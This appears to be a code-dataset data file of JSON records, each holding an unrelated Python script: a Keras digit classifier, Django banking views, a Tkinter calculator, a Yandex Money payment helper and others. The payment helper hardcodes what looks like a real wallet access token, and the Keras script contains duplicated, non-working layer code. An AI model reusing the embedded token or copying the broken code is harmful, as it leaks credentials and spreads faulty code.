self._ForwardProjectionPointsSet(int(vox_proj_pos.shape[1]), vox_size)\n feed_dict = {inputs_fp[0]: vox_proj_pos, inputs_fp[1]: scene_info}\n pnt_proj_map, vox_occupied = sess_fp.run(outputs_fp, feed_dict=feed_dict)\n pnt_proj_map = pnt_proj_map[pnt_proj_map >= 0]\n if os.path.exists(GlobalConfiguration.Visualization_Dir):\n saving_dir = os.path.join(GlobalConfiguration.Visualization_Dir, 'view_volume_reverse_projection')\n if not os.path.exists(saving_dir):\n os.mkdir(saving_dir)\n vis_model_path = os.path.join(saving_dir, 'identity_projection_%d' % cur_index)\n visualize.sparse_vox2ply(np.expand_dims(pnt_proj_map, axis=-1), vox_size, name=vis_model_path)\n cur_index += 1\n","sub_path":"tests/ops_test.py","file_name":"ops_test.py","file_ext":"py","file_size_in_byte":10828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"122334714","text":"import functools\n\n(rules_str, messages_str) = open(\"19.txt\").read().split(\"\\n\\n\")\nrules = dict(line.split(\": \") for line in rules_str.splitlines())\nmessages = messages_str.splitlines()\n\n\n@functools.lru_cache(maxsize=2 ** 32)\ndef match_rule(rule, message):\n if rule.startswith('\"') and rule.endswith('\"'):\n return message == rule.strip('\"')\n if rule.isdigit():\n return match_rule(rules[rule], message)\n if \" | \" in rule:\n return any(match_rule(r, message) for r in rule.split(\" | \"))\n if \" \" in rule:\n first, rest = rule.split(\" \", maxsplit=1)\n return any(\n match_rule(first, message[:i]) and match_rule(rest, message[i:])\n for i in range(len(message))\n )\n\n\n# part 1\nprint(len([m for m in messages if match_rule(\"0\", m)]))\n\n# part 2\nmatch_rule.cache_clear()\nrules[\"8\"] = \"42 | 42 8\"\nrules[\"11\"] = \"42 31 | 42 11 31\"\nprint(len([m for m in messages if match_rule(\"0\", m)]))\n","sub_path":"20/19.py","file_name":"19.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"34435305","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom sklearn.model_selection import train_test_split\n\nfrom keras.models import Model\nfrom keras.layers import Input, Dense, Conv2D, MaxPooling2D, Flatten, Activation, Dropout, BatchNormalization, ReLU\nfrom tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint,ReduceLROnPlateau\nfrom keras.layers.merge import concatenate\nfrom keras import optimizers\n\n\n\nimport dacon_dataset\n\n\ntrain = dacon_dataset.train\n\nx_train = train.iloc[:,3:]\nx_train = np.array(x_train).reshape(-1,28,28,1)/255\n\ny_train = pd.get_dummies(train.digit)\ny_train = np.array(y_train)\n\nx_letter_train = pd.get_dummies(train.letter)\nx_letter_train = np.array(x_letter_train)\n\n\n\nprint(x_train.shape, y_train.shape, x_letter_train.shape)\n\n# augmentation 12배로\nfrom keras.preprocessing.image import ImageDataGenerator\ndatagen = ImageDataGenerator(\n rotation_range=20,\n zoom_range = 0.1,\n width_shift_range = 0.1,\n height_shift_range = 0.1)\n\n\nfor i in range(len(x_train)):\n num = 0\n for batch in datagen.flow(x_train[i].reshape(1,28,28,1), batch_size=1):\n x_train = np.concatenate((x_train,batch.reshape(1,28,28,1)), axis = 0)\n x_letter_train = np.concatenate((x_letter_train, x_letter_train[i].reshape(1,26)))\n y_train = np.concatenate((y_train, y_train[i].reshape(1,10)), axis=0)\n num +=1\n if num>=12:\n break\n\n\n\n\nprint(x_train.shape, y_train.shape, x_letter_train.shape)\n\n\n# 인풋\nx_inputs = Input(shape=(28,28,1))\nx_letter_inputs = Input(shape=(26,))\n\n# 이미지 CNN LAYER\n\nx = Conv2D(32,(3,3),padding='same',kernel_regularizer='l2', activation = 'relu')(x_inputs)\nx = Dropout(0.2)(x)\nx = Conv2D(32,(3,3),kernel_regularizer='l2', padding='same')(x)\nx = BatchNormalization()(x)\nx = ReLU()(x)\nx = MaxPooling2D((2,2))(x)\nx = Conv2D(64,(3,3),padding='same',kernel_regularizer='l2', activation = 'relu')(x)\nx = Dropout(0.2)(x)\nx = Conv2D(64,(3,3),kernel_regularizer='l2', padding='same')(x)\nx = BatchNormalization()(x)\nx = ReLU()(x)\nx = MaxPooling2D((2,2))(x)\nx = Conv2D(128,(3,3),kernel_regularizer='l2',padding='same')(x)\nx = Dropout(0.2)(x)\nx = Conv2D(128,(3,3),kernel_regularizer='l2',padding='same')(x)\nx = BatchNormalization()(x)\nx = ReLU()(x)\nx = MaxPooling2D((2,2))(x)\nx = Flatten()(x)\n\n\nx_letter_inputs = Input(shape=(26,))\ny = Dense(128, activation = 'relu')(x_letter_inputs)\ny = Dropout(0.2)(y)\ny = Dense(64, activation = 'relu')(y)\ny = Dropout(0.2)(y)\ny = Dense(64, activation = 'relu')(y)\n\n\n\nfrom keras.layers.merge import concatenate\n\nmerged_model = concatenate([x, y])\n\nout = Dense(256, activation = 'relu')(merged_model)\nout = Dropout(0.3)(out)\nout = Dense(128, activation = 'relu')(out)\nout = Dropout(0.3)(out)\nout = Dense(10, activation = 'softmax')(out)\n\nmodel = Model(inputs=[x_inputs,x_letter_inputs], outputs = out)\n\nmodel.summary()\n\n# 문자 DNN LAYER\ny = Dense(128, activaion = 'relu')(x_letter_inputs)\ny = Dropout(0.2)(y)\ny = Dense(64, activation = 'relu')(y)\ny = Dropout(0.2)(y)\ny = Dense(64, activaion = 'relu')(y)\ny = Model(inputs = x_letter_train, outputs = y)\n\n\nfrom keras.layers.merge import concatenate\n\n# CONCAT\nmerged_model = concatenate([x.output, y.output])\n\nout = Dense(256, activation = 'relu')(merged_model)\nout = Dropout(0.3)(out)\nout = Dense(128, activation = 'relu')(out)\nout = Dropout(0.3)(out)\nout = Dense(10, activation = 'softmax')(out)\n\nmodel = Model(inputs=[x_inputs,x_letter_inputs], outputs = out)\n\nmodel.summary()\n\n\n\nes = EarlyStopping(monitor='val_loss', mode='min', verbose=1, patience=30)\nmc = ModelCheckpoint('./best_model.h5', monitor='val_loss', mode='min', save_best_only=True)\n\n# 모델학습\nmodel.compile(optimizer='adam', loss = 'categorical_crossentropy', metrics = ['acc'])\nmodel.fit([x_train, x_letter_train], y_train, batch_size = 16, epochs = 500, validation_split = 0.1, callbacks=[es, mc])\n\n\n\n\n# 서브밋\nx_test = dacon_dataset.test.iloc[:,2:]\nx_test = np.array(x_test).reshape(-1,28,28,1)/255\n\nx_letter_test = pd.get_dummies(test.letter)\nx_letter_test = np.array(x_letter_test)\n\n\nprint(x_test.shape, x_letter_test.shape)\n\npre = model.predict([x_test, x_letter_test], batch_size = 50)\n\n\nlst=[]\nfor i in range(len(pre)):\n lst.append(np.argmax(pre[i]))\n\n\nsubmission = dacon_dataset.submission\n\nsubmission.digit = lst\nsubmission.to_csv('submission.csv', mode='w', index=False)\n\n\n\n\n# 미사용시 acc이 0.99까지 올라갔었는데\n# regularizer를 사용결과 loss값을 억제해줘서 acc이 0.93이상 잘 안올라가 과적합을 방지해준다\n\n# 하지만 val_loss 에서의 성능향상은 보이지 않았다.\n\n# 어떤 layer에 적용할지, L1, L2중 무엇을 사용할지, kernel, bias, activity중 어떠어떤것들에 사용할지는\n\n# 좀더 공부해보고 실제로 사용해보면서 알아가야겠다.\n","sub_path":"DACON/dacon.py","file_name":"dacon.py","file_ext":"py","file_size_in_byte":4878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"468862801","text":"import sys\n\n#\n# Sample Input 2:\n#\n# 4\n# 4 7\n# 1 3\n# 2 5\n# 5 6\n#\n# Sample Output 2:\n#\n# 2\n# 3 6\nn = sys.stdin.readline()\ninp_arr = []\nfor i in range(int(n)):\n a, b = sys.stdin.readline().split()\n inp_arr.append((int(a), int(b)))\n\n\ndef segments_cover(segments):\n assert len(segments) > 0\n inp = sorted(segments, key=lambda p: p[1])\n prev_segment_end = inp[0][1]\n solution = [str(prev_segment_end)]\n i = 1\n while i < len(inp):\n segment_start = inp[i][0]\n if segment_start > prev_segment_end:\n prev_segment_end = inp[i][1]\n solution.append(str(prev_segment_end))\n i += 1\n return solution\n\n\nsol = segments_cover(inp_arr)\nprint(len(sol))\nprint(\" \".join(sol))\n","sub_path":"greedy/segments_cover.py","file_name":"segments_cover.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"462101856","text":"# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport pandas as pd\nimport json\nimport time\nimport pydde as d\n\n\n# %%\n#Parameters\nsamplenum = 20000\ntime_length = 60 #seconds\nbatch_size = 500\nfilenum = int(samplenum/batch_size)\n\n\n# %%\n# Generate simulation\ndyn = d.PyDyn('../Data/point-mass_pendulum.sim', time_length)\nstate_init = dyn.compute(dyn.p_init)\nf = dyn.f(state_init, dyn.p_init)\ndf = dyn.df_dp(state_init, dyn.p_init)\ndy = dyn.dy_dp(state_init, dyn.p_init)\n\n\n# %%\n#Sample targets\ny_target = np.zeros((samplenum,3))\ny_target[:,0] = np.random.rand(samplenum)*2\ny_target[:,1] = 2-np.random.rand(samplenum)*2\n#y_target[:,1] = 2\ny_target[:,2] = np.random.rand(samplenum)*2\ny_target[20:50, :]\ny_target[:, 0].size\n\n\n# %%\n#Sample p\nfor b in range(filenum):\n data = {}\n data['parameter'] = []\n data['y_target'] = []\n start_time1 = time.time()\n for i in range(batch_size):\n data['y_target'].append(list(y_target[i,:]))\n data['parameter'].append(list(dyn.get_p(y_target[i,:], dyn.p_init)))\n\n print(f'batch number {b} completed')\n with open(f'../Data/Samples/data_20k_2x2/data_{b}.json', 'w') as outfile:\n json.dump(data, outfile)\n\nprint(f'\\nDuration: {(time.time() - start_time1)/60:.3f} min') # print the time elapsed\n#add description file\nDescription = {}\nDescription['Description'] = [{'samplenum': samplenum, 'samplesperfile': batch_size, 'time length': time_length, 'range from': [0, 2, 0], 'range to': [2, 0, 2]}]\nwith open('../Data/Samples/data_20k_2x2/Description.json', 'w') as outfile:\n json.dump(Description, outfile)\n\n","sub_path":"Sampling/Old/Sampling.py","file_name":"Sampling.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"539549192","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport numpy as np\nimport pandas as pd\nimport pickle as pk\nimport sys\nfrom keras import backend as K\nfrom keras.optimizers import Adam\nfrom keras import regularizers\nfrom keras.layers import Input, Embedding, Flatten, Dot, Add, Concatenate, Dense, Dropout\nfrom keras.models import Model\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom keras.initializers import random_normal\n\n\n# In[ ]:\n\ndef mf(n_users, n_movies, latent_dim =128):\n user_input = Input(shape=[1])\n movie_input = Input(shape=[1])\n user_vec = Embedding(n_users, latent_dim,\n embeddings_initializer=random_normal(stddev=0.01,seed=2))(user_input)\n user_vec = Flatten()(user_vec)\n movie_vec = Embedding(n_movies, latent_dim,\n embeddings_initializer=random_normal(stddev=0.01,seed=2))(movie_input)\n movie_vec = Flatten()(movie_vec)\n user_bias = Embedding(n_users, 1, embeddings_initializer='zeros')(user_input)\n user_bias = Flatten()(user_bias)\n movie_bias = Embedding(n_movies, 1, embeddings_initializer='zeros')(movie_input)\n movie_bias = Flatten()(movie_bias)\n r_hat = Dot(axes=1)([user_vec, movie_vec])\n r_hat = Add()([r_hat, user_bias, movie_bias])\n model = Model([user_input, movie_input], r_hat)\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\n# In[18]:\n\ndef predict(testpath):\n test_df = pd.read_csv(testpath)\n test_all = test_df.values\n test_users, test_movies = [],[]\n for i in range(len(test_all)):\n test_users.append(test_all[i][1])\n test_movies.append(test_all[i][2])\n test_users = np.array(test_users)\n test_movies = np.array(test_movies)\n mf_model = mf(6040, 3952)\n mf_model.load_weights('mf_model11-0.5822.h5')\n predict = mf_model.predict([test_users, test_movies], verbose=0, batch_size=32)\n return predict\n\n\n# In[19]:\ntestpath = sys.argv[1]\npred_nor = predict(testpath)\n\n\n# In[5]:\n\nwith open ('ratings.pk','rb') as file:\n ratings = pk.load(file)\nmean = np.mean(ratings)\nstd = np.std(ratings)\n\n\n# In[21]:\n\npred = (pred_nor * std)+ mean\npred = np.clip(pred, 1, 5)\n\n\n# In[22]:\n\nanswerfile = sys.argv[2]\nwith open(answerfile, 'w') as file:\n file.write('TestDataID,Rating\\n')\n for i in range(len(pred)):\n output = str(i+1) + ',' + str(pred[i][0]) + '\\n'\n file.write(output)\n\n","sub_path":"hw6/hw6_test.py","file_name":"hw6_test.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"299541640","text":"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.shortcuts import render, redirect\nfrom django.views.generic import DetailView, ListView\nfrom profiles.models import accountInfoModel\nfrom transactions.models import Transferdetails\nfrom django.contrib import messages\nfrom transactions.forms import TransferAmountForm, DepositAmountForm, WithdrawAmountForm\nfrom django.contrib.auth.decorators import login_required\n\n\n@login_required\ndef transferamount(request):\n form = TransferAmountForm()\n context = {\"form\": form}\n if request.method == \"POST\":\n form = TransferAmountForm(request.POST)\n if form.is_valid():\n mpin = form.cleaned_data.get(\"mpin\")\n amount = form.cleaned_data.get(\"amount\")\n account_number = form.cleaned_data.get(\"account_number\")\n try:\n object = accountInfoModel.objects.get(username=request.user, mpin=mpin)\n object1 = accountInfoModel.objects.get(account_number=account_number)\n bal = object.balance - amount\n bal1 = object1.balance + amount\n object.balance = bal\n object1.balance = bal1\n object.save()\n object1.save()\n\n except Exception:\n context[\"form\"] = form\n return render(request, \"transactions/transferamount.html\", context)\n\n\n profile = form.save(commit=False)\n profile.user = request.user\n profile.save()\n\n return redirect(\"welcomeuser\")\n else:\n context[\"form\"] = form\n return render(request, \"transactions/transferamount.html\", context)\n\n return render(request, \"transactions/transferamount.html\", context)\n\n\n@login_required\ndef depositamount(request):\n form = DepositAmountForm()\n context = {\"form\": form}\n m = \"Credit\"\n if request.method == \"POST\":\n form = DepositAmountForm(request.POST)\n if form.is_valid():\n mpin = form.cleaned_data.get(\"mpin\")\n amount = form.cleaned_data.get(\"amount\")\n messages.success(request, \"Deposited Successfully\")\n try:\n object = accountInfoModel.objects.get(username=request.user, mpin=mpin)\n bal = object.balance + amount\n object.balance = bal\n object.save()\n\n\n\n except Exception:\n context[\"form\"] = form\n return render(request, \"transactions/depositwithdraw.html\", context)\n\n profile = form.save(commit=False)\n profile.user = request.user\n profile.save()\n return redirect(\"welcomeuser\")\n else:\n context[\"form\"] = form\n return render(request, \"transactions/depositwithdraw.html\", context)\n\n return render(request, \"transactions/depositwithdraw.html\", context)\n\n\n@login_required\ndef withdrawamount(request):\n form = WithdrawAmountForm()\n context = {\"form\": form}\n if request.method == \"POST\":\n form = WithdrawAmountForm(request.POST)\n if form.is_valid():\n mpin = form.cleaned_data.get(\"mpin\")\n amount = form.cleaned_data.get(\"amount\")\n try:\n object = accountInfoModel.objects.get(username=request.user, mpin=mpin)\n\n bal = object.balance - amount\n object.balance = bal\n object.save()\n\n\n\n except Exception:\n context[\"form\"] = form\n return render(request, \"transactions/depositwithdraw.html\", context)\n\n profile = form.save(commit=False)\n profile.user = request.user\n profile.save()\n return redirect(\"welcomeuser\")\n else:\n context[\"form\"] = form\n return render(request, \"transactions/depositwithdraw.html\", context)\n\n return render(request, \"transactions/depositwithdraw.html\", context)\n\n\nclass balancecheck(LoginRequiredMixin, DetailView):\n model = accountInfoModel\n fields = [\"balance\"]\n template_name = 'transactions/checkbalance.html'\n\n\nclass accountActivity(LoginRequiredMixin, ListView):\n model = Transferdetails\n fields = [\"account_number\", \"amount\", \"date\"]\n template_name = \"transactions/accountactivity1.html\"\n\n def get_initial(self):\n return {'user': self.request.user}\n\n def get_queryset(self):\n mpin = accountInfoModel.objects.get(username=self.request.user).mpin\n return Transferdetails.objects.filter(mpin=mpin).order_by('-date')[:10]\n","sub_path":"bankapplication/transactions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"177308111","text":"from tkinter import *\nfrom functools import partial\n\n\ndef button_pressed(value):\n expression_field_value.set(expression_field_value.get() + str(value))\n\n\ndef equal_pressed():\n try:\n result = eval(expression_field_value.get())\n expression_field_value.set(result)\n except ZeroDivisionError:\n expression_field_value.set(\"Math Error\")\n except SyntaxError:\n expression_field_value.set(\"Syntax Error\")\n\n\ndef aclear_pressed():\n expression_field_value.set(\"\")\n\n\nif __name__ == \"__main__\":\n window = Tk()\n window.title(\"Osama's Calculator\")\n\n expression_field_value = StringVar()\n expression_field = Entry(window, width=60, textvariable=expression_field_value)\n expression_field.grid(row=0, column=0, columnspan=4)\n\n button_rows = [\n [\"1\", \"2\", \"3\", \"*\"],\n [\"4\", \"5\", \"6\", \"-\"],\n [\"7\", \"8\", \"9\", \"+\"],\n [\"0\", \"/\"]\n ]\n\n for row, buttons in enumerate(button_rows): # when row = 1, buttons = [\"1\", \"2\", \"3\", \"*\"]\n for col, button_value in enumerate(buttons):\n when_pressed = partial(button_pressed, button_value)\n button1 = Button(window, text=button_value, height=3, width=3, borderwidth=1, command=when_pressed)\n button1.grid(row=row+1, column=col if button_value != \"/\" else 3, sticky=\"ew\")\n\n aclear = Button(window, text='AC', height=3, width=3, borderwidth=1, command=aclear_pressed)\n aclear.grid(row=4, column=1, sticky=\"ew\")\n\n equal = Button(window, text='=', height=3, width=3, borderwidth=1, command=equal_pressed)\n equal.grid(row=4, column=2, sticky=\"ew\")\n\n window.mainloop()\n","sub_path":"MyCalculator.py","file_name":"MyCalculator.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"257476835","text":"#/user/bin/python\n#-*-coding:utf-8-*-\n# Python异常处理\n# 异常:\n\"\"\"\n1、Python 语法错误,缩进,缺少: class\n2、代码逻辑上的问题\n\"\"\"\n# 异常处理\n\"\"\"\n处理python 代码中可能出现的错误、异常\n\"\"\"\n# a = 1 /0\n# print(a)\n# 异常处理 try.....except\n\"\"\"\ntry:\n 代码块1\nexcept:\n 代码块2\ntry语句存在错误时、执行expect语句\ntry语句不存在错误时、不执行执行expect语句\n\nexcept 指定异常的类型:\ntry:\n 代码块1\nexcept (指定的错误类型) :\n 代码块2\n\"\"\"\n# try:\n# a = 1 /0\n# print(a)\n# except:\n# print(\"try 语句内存在错误\")\n# 下面还有很多代码\n# print(\"hello\")\n\"\"\"\ntry:\n\n\"\"\"\n# try...expect ....finally\n# try语句有错误,except、finally语句都被执行\n# try语句存在不存在错误,finally语句都被执行\n# try:\n# a = 1/10\n# except:\n# print(\"try语句中有bug\")\n# finally:\n# print(\"finally语句被执行了\")\n# try...expect ....else\n# 当try语句存在错误时执行except不执行else\n# 当try语句不存在错误时不执行except执行else\ntry:\n a = 1/0\nexcept:\n print(\"try语句中有bug\")\nelse:\n print(\"finally语句被执行了\")","sub_path":"Python/单元测试/代码/代码/ddd/异常处理.py","file_name":"异常处理.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"74336009","text":"from typing import List\n\n\n# Approach 1: DFS\n\n\n# Approach 2: BFS\nclass Solution:\n def hasPath(self, maze: List[List[int]], src: List[int], dst: List[int]) -> bool:\n if src == dst: return True\n m, n = len(maze), len(maze[0])\n q, maze[src[0]][src[1]] = [src], 2\n dirs = [(-1, 0), (1, 0), (0, -1), (0, 1)]\n\n while q:\n i, j = q.pop(0)\n\n for dx, dy in dirs:\n r, c = i, j\n while self.valid(maze, m, n, r + dx, c + dy): r += dx; c += dy\n\n if maze[r][c] == 2: continue\n if [r, c] == dst: return True\n\n q.append([r, c])\n maze[r][c] = 2\n\n return False\n\n def valid(self, maze, m, n, i, j):\n return 0 <= i <= m - 1 and 0 <= j <= n - 1 and maze[i][j] != 1\n\n\n# 490. The Maze\n# https://leetcode.com/problems/the-maze/description/\n","sub_path":"sandbox/the_maze.py","file_name":"the_maze.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"493670818","text":"#encodin:utf-8\n\nimport tensorflow as tf\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\n\ndef tendorflow_demo():\n \"\"\"\n 通过tensorflow来实现加法运算\n \"\"\"\n #通过原生的python来实现\n a = 2\n b = 3\n c = a + b\n print (\"原生的python来实现 \\n\", c)\n #通过tensorflow来实现\n a_t = tf.constant(2)\n b_t = tf.constant(3)\n c_t = a_t + b_t\n print (\"tensorflow来实现 \\n\", c_t)\n #开启会话\n with tf.Session() as sess:\n c_t_value = sess.run(c_t)\n print(\"c_t_value\", c_t_value)\n #查看默认图\n #方法一\n default_g = tf.get_default_graph()\n print(\"使用tensorflow中的方法获取\", default_g)\n #方法二\n print(c_t.graph)\n #创建自定义的图\n new_tf = tf.Graph()\n with new_tf.as_default():\n a_new = tf.constant(20)\n b_new = tf.constant(30)\n c_new = a_new + b_new\n print(\"c_new\", c_new)\n #创建会话\n with tf.Session() as new_sess:\n print(\"c_new\", c_new)\n print(\"c_new_graph\", c_new.graph)\n #将图写入到本地文件中\n tf.summary.FileWriter(\"./tmp/summary\", graph=c_new.graph)\nif __name__==\"__main__\":\n tendorflow_demo()\n","sub_path":"tmp/tensorflow_demo.py","file_name":"tensorflow_demo.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"536652742","text":"from flask import Flask,render_template\nfrom flask_cors import CORS\nfrom routes.routes import router\n\nPORT = 5000\n\napp = Flask(__name__)\nCORS(app)\n\napp.register_blueprint(router, url_prefix=\"/math\")\n\n@app.route(\"/\")\ndef index():\n return render_template('index.html')\n\nif __name__ == '__main__':\n app.run(port=PORT)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"523902608","text":"# coding=utf-8\nfrom PIL import Image, ImageFont, ImageDraw\nimport os\nimport random\nimport uuid\nimport shutil\n\nchars = ''\nchars += ''.join([str(x) for x in range(0, 10)])\n\nfont_dir = os.path.join(os.getcwd(), 'fonts')\nfonts = [os.path.join(font_dir, x) for x in os.listdir(font_dir) if x.lower().endswith('.ttf')]\n\np = os.path.join(os.getcwd(), 'data')\nif os.path.exists(p):\n shutil.rmtree(p)\n\nif not os.path.exists(p):\n os.mkdir(p)\n\nfor c in chars:\n for x in range(1000):\n img_ps = os.path.join(p, '{0}_{1}.jpg'.format(str(uuid.uuid4()), c))\n with Image.new('RGB', size=(28, 28), color=(255, 255, 255)) as img:\n a, b = img.size\n font = ImageFont.truetype(random.choice(fonts), 20)\n draw = ImageDraw.Draw(img)\n draw.text((random.randint(0, int(a * 0.6)), random.randint(0, int(b * 0.5))),\n c,\n font=font,\n fill=(0, 0, 0))\n img.save(img_ps)\n del draw\n print(img_ps)\n","sub_path":"tensorflow_/tf_test/xxxxxxxx/mnist/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"551318797","text":"import numpy as np\nimport armParamHW14 as P\n\nclass armController:\n # state feedback control using dirty derivatives to estimate thetadot\n def __init__(self):\n self.x_hat = np.matrix([\n [0.0],\n [0.0],\n ])\n self.d_hat = 0.0 # initial estimate for disturbance\n self.tau_d1 = 0.0 # control torque, delayed by one sample\n self.integrator = 0.0 # integrator\n self.error_d1 = 0.0 # error signal delayed by 1 sample\n self.K = P.K # state feedback gain\n self.ki = P.ki # Input gain\n self.L = P.L # observer gain\n self.Ld = P.Ld\n self.A = P.A # system model\n self.B = P.B\n self.C = P.C\n self.limit = P.tau_max # Maxiumum force\n self.Ts = P.Ts # sample rate of controller\n\n def u(self, y_r, y_m):\n # y_r is the referenced input\n # y is the current state\n theta_r = y_r[0]\n\n # update the observer and extract theta_hat\n self.updateObserver(y_m)\n theta_hat = self.x_hat[0]\n\n # integrate error\n error = theta_r - theta_hat\n self.integrateError(error)\n\n # compute equilibrium torque tau_e\n theta_hat = self.x_hat[0]\n tau_e = P.m * P.g * (P.ell / 2.0) * np.cos(theta_hat)\n\n # Compute the state feedback controller\n tau_tilde = -self.K*self.x_hat - self.ki*self.integrator\n\n # compute total torque\n tau = self.saturate(tau_e + tau_tilde)\n self.updateTorque(tau)\n return [tau.item(0)]\n\n def updateObserver(self, y_m):\n # compute equilibrium torque tau_e\n theta_e = 0.0\n theta_hat = self.x_hat[0]\n tau_e = P.m * P.g * (P.ell / 2.0) * np.cos(theta_hat)\n x_e = np.matrix([\n [theta_e],\n [0.0],\n ])\n\n N = 10\n for i in range(0, N):\n self.x_hat = self.x_hat + self.Ts/float(N)*(\n self.A*(self.x_hat - x_e)\n + self.B*(self.tau_d1 - tau_e + self.d_hat)\n + self.L*(y_m-self.C*self.x_hat)\n )\n self.d_hat = self.d_hat + self.Ts/float(N)*(\n self.Ld*(y_m - self.C*self.x_hat)\n )\n\n def updateTorque(self, tau):\n self.tau_d1 = tau\n\n def integrateError(self, error):\n self.integrator = self.integrator + (self.Ts/2.0)*(error + self.error_d1)\n self.error_d1 = error\n\n def saturate(self,u):\n if abs(u) > self.limit:\n u = self.limit*np.sign(u)\n return u\n\n","sub_path":"disturbance_observer/armController.py","file_name":"armController.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"246873871","text":"from django.conf import settings\nfrom yandex_money.api import Wallet\nimport logging\nimport redis\n\n#----REDIS CONNECT---------#\nr = redis.StrictRedis(host=settings.REDIS_HOST, port=settings.REDIS_PORT, db=settings.REDIS_DB,charset=\"utf-8\", decode_responses=True)\n\n#----LOG CREATE -------------#\nlog = logging.getLogger(\"info\")\ntocken=\"41001561247685.3B16950EE9F1AC44F82EE5D7768DCAE40A6F23DD3FEFFD801BFCA59DF6F107752B835517346480359FCA4E2EEB3EC89F2A7253606AC94CDF61C23F3672793E8A51FB3FFB6B579842A3A8B7EC08D8C7977A6D6BC4FCC3E94FD89477869A079444DA490C466EB3E6B078D2C01AD1D77799CC3212A74DD417B2CA88D459CB3BA226\"\n\n\ndef pay_proc_sum(data_pay):\n error_code_py_cb = 0\n cb_sum = data_pay['cb_sum']\n\n wallet = Wallet(tocken)\n\n payment_options = {\n \"pattern_id\": \"phone-topup\",\n \"phone-number\" : data_pay['user_phone_cb'],\n \"amount\" : cb_sum,\n }\n\n response = wallet.request_payment(payment_options)\n if response['status'] == \"success\":\n request_id = response['request_id']\n log.info(response)\n\n process_options = {\n \"request_id\": request_id,\n \"ext_auth_success_uri\" : \"http://85.143.221.85\",\n \"ext_auth_fail_uri\" : \"http://85.143.221.85\",\n \"money_source\" : \"wallet\",\n # other params..\n }\n\n log.info(wallet.process_payment(process_options))\n res = wallet.process_payment(process_options)\n if res['status'] == 'success':\n error_code_py_cb = 0\n else:\n error_code_py_cb = 1\n else:\n error_code_py_cb = 1\n log.info(response)\n\n return error_code_py_cb","sub_path":"infinans_rustam/pay_proc_sum.py","file_name":"pay_proc_sum.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"556262764","text":"class Machine:\n\n def __init__(self):\n self.money = 550\n self.water = 400\n self.milk = 540\n self.coffee_beans = 120\n self.disposable_cups = 9\n self.working = True\n # tuple decoding in dict \"drinks\":\n # (drink name, ml of water, ml of milk, g of coffee beans, cost in $)\n self.drinks = {\"1\": (\"espresso\", 250, 0, 16, 4),\n \"2\": (\"latte\", 350, 75, 20, 7),\n \"3\": (\"cappuccino\", 200, 100, 12, 6)}\n self.actions = {\"buy\": self.buy,\n \"fill\": self.fill,\n \"take\": self.take,\n \"remaining\": self.remaining,\n \"exit\": self.exit}\n\n def remaining(self):\n print()\n print(f\"\"\"The coffee machine has:\\n{self.water} ml of water\\n{self.milk} ml of milk\n{self.coffee_beans} g of coffee beans\\n{self.disposable_cups} of disposable cups\\n{self.money} of money\"\"\")\n\n def buy(self):\n print(\"What do you want to buy? 1 - espresso, 2 - latte, 3 - cappuccino, back - to main menu:\")\n choice = input()\n if choice == \"back\":\n return None\n drink = self.drinks[choice]\n if self.water >= drink[1]:\n if self.milk >= drink[2]:\n if self.coffee_beans >= drink[3]:\n if self.disposable_cups >= 1:\n print(\"I have enough resources, making you a coffee!\")\n self.water -= drink[1]\n self.milk -= drink[2]\n self.coffee_beans -= drink[3]\n self.money += drink[4]\n self.disposable_cups -= 1\n else:\n print(\"Sorry, no disposable cups\")\n else:\n print(\"Sorry, not enough coffee beans\")\n else:\n print(\"Sorry, not enough milk\")\n else:\n print(\"Sorry, not enough water\")\n\n def fill(self):\n print(\"Write how many ml of water do you want to add:\")\n self.water += int(input())\n print(\"Write how many ml of milk do you want to add:\")\n self.milk += int(input())\n print(\"Write how many grams of coffee beans do you want to add:\")\n self.coffee_beans += int(input())\n print(\"Write how many disposable cups of coffee do you want to add:\")\n self.disposable_cups += int(input())\n\n def take(self):\n print(f\"I gave you ${self.money}\")\n self.money = 0\n\n 